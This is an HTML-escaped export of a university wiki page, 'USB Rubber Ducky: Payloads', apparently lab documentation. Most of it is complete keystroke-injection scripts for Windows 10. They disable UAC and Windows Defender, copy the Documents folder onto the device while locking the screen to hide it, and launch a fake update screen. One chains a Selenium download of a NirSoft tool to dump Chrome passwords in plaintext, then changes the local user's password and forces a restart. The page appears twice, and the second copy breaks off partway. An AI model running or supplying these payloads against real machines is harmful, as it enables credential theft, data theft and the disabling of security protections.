DELAY 200&lt;br /&gt;
STRING uac&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
REM Disabling Windows Defender&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING virus pro&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
ALT F4	&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy Documents Folder to Ducky ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Twin Duck&lt;br /&gt;
&lt;br /&gt;
Before using this script, the USB Rubber Ducky must be updated with the Twin Duck firmware. Using this firmware, the Rubber Ducky acts both as a HID keyboard and a USB storage device. The script uses the Windows &#039;&#039;Run&#039;&#039; application to open the &#039;&#039;Documents&#039;&#039; directory and copies all its contents to the storage portion of the Ducky. Note that this script assumes that the storage device will be assigned the drive letter D and must be adjusted if reconnaissance shows another letter would be more likely. The script ends with locking the screen to better hide the copying process.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 300&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 100&lt;br /&gt;
STRING documents&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL a&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL c&lt;br /&gt;
DELAY 100&lt;br /&gt;
ALT F4&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 300&lt;br /&gt;
STRING d:\&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL v&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI D&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI l&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fake Update Screen ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script launches a website that fakes the Windows update screen in the systems default internet browser and sets it to Fullscreen mode. It can’t be easily exited by hitting the Escape-key and hitting the Enter-key results in a fake bluescreen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING https://www.fakeupdate.net/win10ue/&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
F11&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Maximum Volume Autoplay Audio ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script showcases how Ducky Script can use the console to create Visual Basic Script files (*.vbs) that can be used to create endless loops of code. It uses the command &amp;lt;code&amp;gt;copy con&amp;lt;/code&amp;gt; to create two script files. The first script file is used to create a Windows Media Player object to play a sound file from start to finish from a provided online source. The second script creates a Windows Script Host Shell object that gives the “Volume Up”-command in an endless loop. The only way to end these scripts is by using the task manager or by restarting the system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cmd&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING del %tmp%\rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING del %tmp%\volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cd %tmp% &amp;amp;&amp;amp; copy con rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While true&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Dim oPlayer&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set oPlayer = CreateObject(&amp;quot;WMPlayer.OCX&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.URL = &amp;quot;http://tinyurl.com/s63ve48&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.controls.play&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While oPlayer.playState &amp;lt;&amp;gt; 1 &#039; 1 = Stopped&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WScript.Sleep 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.close&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING copy con volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING do&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set WshShell = CreateObject(&amp;quot;WScript.Shell&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WshShell.SendKeys(chr(&amp;amp;hAF))&lt;br /&gt;
ENTER&lt;br /&gt;
STRING loop&lt;br /&gt;
ENTER&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING start rickyou.vbs &amp;amp;&amp;amp; volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chrome browser data exfiltration and changing the machine’s local users password ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
In this demo the USB Rubber Ducky targets a Windows 10 host, that has a local user with administrative rights.&lt;br /&gt;
In a first step it graps the passwords stored in the Chrome browser’s password manager and outputs it in plaintext in a text file, stored on the local host machine’s download folder. In the second step it changes the host machine’s local user login password and restarts the computer.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Target Host:&#039;&#039;&#039;&lt;br /&gt;
* OS: Windows 10&lt;br /&gt;
* Software: Chrome browser&lt;br /&gt;
* Local user with administrative rights&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Pre-installations:&#039;&#039;&#039;&lt;br /&gt;
* For automated browser navigation with a script:&lt;br /&gt;
* [https://www.selenium.dev/ Selenium]&lt;br /&gt;
* [https://developer.chrome.com/docs/chromedriver/downloads?hl=de Chromedriver], according to the Chrome Browser version on the target host:&lt;br /&gt;
* Selenium script file on the host&lt;br /&gt;
* For file extraction: [https://www.7-zip.org/ 7-zip]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
REM Chrome browser user passwords exfiltration and local user&#039;s password change&lt;br /&gt;
REM 1. Part: Chrome browser user passwords exfiltration&lt;br /&gt;
&lt;br /&gt;
REM Open PowerShell and executing the selenium script&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING powershell -ExecutionPolicy Bypass -File path\to\browsernavigation.ps1&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 20000&lt;br /&gt;
&lt;br /&gt;
REM Enter download credentials&lt;br /&gt;
STRING download&lt;br /&gt;
TAB&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
REM Wait for Downlaod&lt;br /&gt;
DELAY 8000&lt;br /&gt;
&lt;br /&gt;
REM Open new Powershell&lt;br /&gt;
DELAY 3000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING powershell&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Get the current user&#039;s Downloads folder path&lt;br /&gt;
STRING $DownloadsPath = [System.Environment]::GetFolderPath(&#039;MyDocuments&#039;).Replace(&#039;Documents&#039;, &#039;Downloads&#039;)&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
&lt;br /&gt;
REM Unzip the downloaded ChromePass file&lt;br /&gt;
STRING &amp;amp; &amp;quot;pathto\7-Zip\7z.exe&amp;quot; x &amp;quot;$DownloadsPath\passreccommandline.zip&amp;quot; -o&amp;quot;$DownloadsPath&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Execute ChromePassCLI and save the extracted passwords in the Downloads folder&lt;br /&gt;
STRING Start-Process -FilePath &amp;quot;$DownloadsPath\WebBrowserPassView.exe&amp;quot; -ArgumentList &amp;quot;/stext $DownloadsPath\chrome_passwords.txt&amp;quot; -NoNewWindow -Wait&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 3000&lt;br /&gt;
&lt;br /&gt;
REM Exit PowerShell&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
REM 2. Part: Change the password of the Windows user&lt;br /&gt;
DEFINE #NEW_PASSWORD newpassword&lt;br /&gt;
&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI x&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING a&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFTARROW&lt;br /&gt;
DELAY 500&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
STRING net user $env:USERNAME #NEW_PASSWORD&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 2000&lt;br /&gt;
&lt;br /&gt;
REM Restart the computer&lt;br /&gt;
STRING Restart-Computer -Force&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selenium script: browsernavigation.ps1&lt;br /&gt;
&lt;br /&gt;
The server prevents a direct download via link. The selenium script imitates an actual user, clicking on the link and inputting user credentials for download.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# 1. Load the Selenium module&lt;br /&gt;
Import-Module Selenium&lt;br /&gt;
&lt;br /&gt;
# 2. Start Driver: Define the path to the Chrome Browser binary&lt;br /&gt;
$chromePath = &amp;quot;C:\Program Files\Google\Chrome\Application\chrome.exe&amp;quot; &lt;br /&gt;
&lt;br /&gt;
# Set up Chrome options&lt;br /&gt;
$chromeOptions = New-Object OpenQA.Selenium.Chrome.ChromeOptions&lt;br /&gt;
$chromeOptions.BinaryLocation = $chromePath&lt;br /&gt;
&lt;br /&gt;
# Define the path to the new ChromeDriver&lt;br /&gt;
$chromeDriverPath = &amp;quot;C:\Users\User\Downloads\chromedriver-win64\chromedriver-win64&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Set up ChromeDriverService to use the updated ChromeDriver&lt;br /&gt;
$service = [OpenQA.Selenium.Chrome.ChromeDriverService]::CreateDefaultService($chromeDriverPath)&lt;br /&gt;
&lt;br /&gt;
# Start ChromeDriver with the service and Chrome options&lt;br /&gt;
$driver = New-Object OpenQA.Selenium.Chrome.ChromeDriver($service, $chromeOptions)&lt;br /&gt;
&lt;br /&gt;
# Navigate to the NirSoft download page&lt;br /&gt;
$driver.Navigate().GoToUrl(&amp;quot;https://www.nirsoft.net/password_recovery_tools.html&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Ensuring interaction with the main content for consent-button&lt;br /&gt;
$driver.SwitchTo().DefaultContent()&lt;br /&gt;
&lt;br /&gt;
# Locate the consent button by its class and text (&#039;Einwilligen&#039;)&lt;br /&gt;
$button = $driver.FindElementByXPath(&amp;quot;//button[contains(@class, &#039;fc-button fc-cta-consent fc-primary-button&#039;) and contains(., &#039;Einwilligen&#039;)]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Click the button if found&lt;br /&gt;
if ($button -ne $null) {&lt;br /&gt;
    $button.Click()&lt;br /&gt;
    Write-Host &amp;quot;Consent button clicked.&amp;quot;&lt;br /&gt;
} else {&lt;br /&gt;
    Write-Host &amp;quot;No consent needed.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Find and click the link that triggers the download&lt;br /&gt;
$link = $driver.FindElementByLinkText(&amp;quot;this download link&amp;quot;)&lt;br /&gt;
$link.Click()&lt;br /&gt;
&lt;br /&gt;
# Wait for the iframe to load&lt;br /&gt;
Start-Sleep -Seconds 1&lt;br /&gt;
&lt;br /&gt;
# Switch to the iframe containing the google ad&lt;br /&gt;
try {&lt;br /&gt;
    $iframe = $driver.FindElementById(&amp;quot;aswift_3&amp;quot;)  # Use the iframe&#039;s ID or other unique selector&lt;br /&gt;
    $driver.SwitchTo().Frame($iframe)&lt;br /&gt;
    Write-Host &amp;quot;Switched to the iframe.&amp;quot;&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Iframe not found.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click dismiss-button&lt;br /&gt;
try {&lt;br /&gt;
    # Try to locate the dismiss button&lt;br /&gt;
    $dismissButton = $driver.FindElementByXPath(&amp;quot;//div[@id=&#039;dismiss-button&#039;]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    # Check if the button is visible and clickable&lt;br /&gt;
    if ($dismissButton -ne $null -and $dismissButton.Displayed) {&lt;br /&gt;
        $dismissButton.Click()&lt;br /&gt;
        Write-Host &amp;quot;Dismissed clicked&amp;quot;&lt;br /&gt;
    } else {&lt;br /&gt;
        Write-Host &amp;quot;Dismiss button exists but is not visible.&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
} catch {&lt;br /&gt;
    # Handle the case where the dismiss button does not appear&lt;br /&gt;
    Write-Host &amp;quot;Ad dismiss button did not appear.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
* Even with the level bar of the Windows User Account Control setting no the hightest option “Always notify”, the the changes will be applied straight forward, without extra notification or password requests.&lt;br /&gt;
&lt;br /&gt;
References:&lt;br /&gt;
* Rubber Ducky Documentation: &lt;br /&gt;
* Change the password of Windows User Attack:&lt;br /&gt;
* Nirsoft password recovery tool for web browsers:&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Rubber Ducky&lt;br /&gt;
* Windows 10 PC&lt;br /&gt;
* Ubuntu Linux 20.04 Virtual Machine&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5 Rubber Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky: Firmware Update]]&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://shop.hak5.org/products/usb-rubber-ducky-deluxe&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17046</id>
		<title>USB Rubber Ducky: Payloads</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17046"/>
		<updated>2024-12-12T20:35:06Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
In this documentation we will show you examples for the usage of the USB Rubber Ducky on Windows 10 hosts.&lt;br /&gt;
There are many of ready-made Ducky Scripts found at:&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://github.com/hak5/usbrubberducky-payloads&lt;br /&gt;
wayback: http://web.archive.org/web/20220421035128/https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Article on the basics of the device: [[Hak5 Rubber Ducky]]&lt;br /&gt;
* If you need a different Rubber Ducky Firmware follow this guide: [[USB Rubber Ducky – Firmware Update]].&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference Ducky Script Quick Reference].&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All scripts have a DELAY 3000 at the start which means a delay of 30000ms / 30s to make sure that the target PC has time to set up the HID driver. The delays needed can vary, depending on the target host. The start delay can potentially be reduced to DELAY 1000.&lt;br /&gt;
The scripts could be further improved by adding obfuscation methods to the code. Terminal windows can be changed in colour and size to make them less obvious and much harder to read. USB Rubber Ducky can also be used to play harmless pranks on your colleagues and friends. Just be sure to clue them in beforehand and don’t let them panic.&lt;br /&gt;
&lt;br /&gt;
=== Hello World! ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
Like in all programming languages a basic hello world can be used to get to know the basic functionalities of the system. The following code is used to make a Windows PC open notepad, write “Hello World!” in large letters and save the file to the default directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 2000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING c:\windows\notepad.exe&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
ALT o&lt;br /&gt;
STRING f&lt;br /&gt;
TAB&lt;br /&gt;
TAB&lt;br /&gt;
STRING 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Hello World!&lt;br /&gt;
CTRL s&lt;br /&gt;
STRING totallynotavirus.txt&lt;br /&gt;
ENTER&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disable Windows Defender ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script is used to disable Windows User Account Control first and then disable all functionalities of the Windows Defender. This could be potentially used to prepare for a second stage of a multi-stage attack. It makes heavy use of menu navigation (Arrow keys, Tabs) and the Windows 10 Search menu. The value of the DELAY commands could be further reduced if used on a fast target host. Note that the script leaves no open windows after concluding its actions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
REM Disabling User Account Control&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING uac&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
REM Disabling Windows Defender&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING virus pro&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
ALT F4	&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy Documents Folder to Ducky ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Twin Duck&lt;br /&gt;
&lt;br /&gt;
Before using this script, the USB Rubber Ducky must be updated with the Twin Duck firmware. Using this firmware, the Rubber Ducky acts both as a HID keyboard and a USB storage device. The script uses the Windows &#039;&#039;Run&#039;&#039; application to open the &#039;&#039;Documents&#039;&#039; directory and copies all its contents to the storage portion of the Ducky. Note that this script assumes that the storage device will be assigned the drive letter D and must be adjusted if reconnaissance shows another letter would be more likely. The script ends with locking the screen to better hide the copying process.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 300&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 100&lt;br /&gt;
STRING documents&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL a&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL c&lt;br /&gt;
DELAY 100&lt;br /&gt;
ALT F4&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 300&lt;br /&gt;
STRING d:\&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL v&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI D&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI l&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fake Update Screen ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script launches a website that fakes the Windows update screen in the systems default internet browser and sets it to Fullscreen mode. It can’t be easily exited by hitting the Escape-key and hitting the Enter-key results in a fake bluescreen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING https://www.fakeupdate.net/win10ue/&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
F11&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Maximum Volume Autoplay Audio ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script showcases how Ducky Script can use the console to create Visual Basic Script files (*.vbs) that can be used to create endless loops of code. It uses the command &amp;lt;code&amp;gt;copy con&amp;lt;/code&amp;gt; to create two script files. The first script file is used to create a Windows Media Player object to play a sound file from start to finish from a provided online source. The second script creates a Windows Script Host Shell object that gives the “Volume Up”-command in an endless loop. The only way to end these scripts is by using the task manager or by restarting the system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cmd&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING del %tmp%\rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING del %tmp%\volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cd %tmp% &amp;amp;&amp;amp; copy con rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While true&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Dim oPlayer&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set oPlayer = CreateObject(&amp;quot;WMPlayer.OCX&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.URL = &amp;quot;http://tinyurl.com/s63ve48&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.controls.play&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While oPlayer.playState &amp;lt;&amp;gt; 1 &#039; 1 = Stopped&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WScript.Sleep 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.close&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING copy con volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING do&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set WshShell = CreateObject(&amp;quot;WScript.Shell&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WshShell.SendKeys(chr(&amp;amp;hAF))&lt;br /&gt;
ENTER&lt;br /&gt;
STRING loop&lt;br /&gt;
ENTER&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING start rickyou.vbs &amp;amp;&amp;amp; volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chrome browser data exfiltration and changing the machine’s local users password ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
In this demo the USB Rubber Ducky targets a Windows 10 host, that has a local user with administrative rights.&lt;br /&gt;
In a first step it graps the passwords stored in the Chrome browser’s password manager and outputs it in plaintext in a text file, stored on the local host machine’s download folder. In the second step it changes the host machine’s local user login password and restarts the computer.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Target Host:&#039;&#039;&#039;&lt;br /&gt;
* OS: Windows 10&lt;br /&gt;
* Software: Chrome browser&lt;br /&gt;
* Local user with administrative rights&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Pre-installations:&#039;&#039;&#039;&lt;br /&gt;
* For automated browser navigation with a script:&lt;br /&gt;
* Selenium&lt;br /&gt;
* Chromedriver, according to the Chrome Browser version on the target host:&lt;br /&gt;
* Selenium script file on the host&lt;br /&gt;
* For file extraction: [https://www.7-zip.org/ 7-zip]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
REM Chrome browser user passwords exfiltration and local user&#039;s password change&lt;br /&gt;
REM 1. Part: Chrome browser user passwords exfiltration&lt;br /&gt;
&lt;br /&gt;
REM Open PowerShell and executing the selenium script&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING powershell -ExecutionPolicy Bypass -File path\to\browsernavigation.ps1&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 20000&lt;br /&gt;
&lt;br /&gt;
REM Enter download credentials&lt;br /&gt;
STRING download&lt;br /&gt;
TAB&lt;br /&gt;
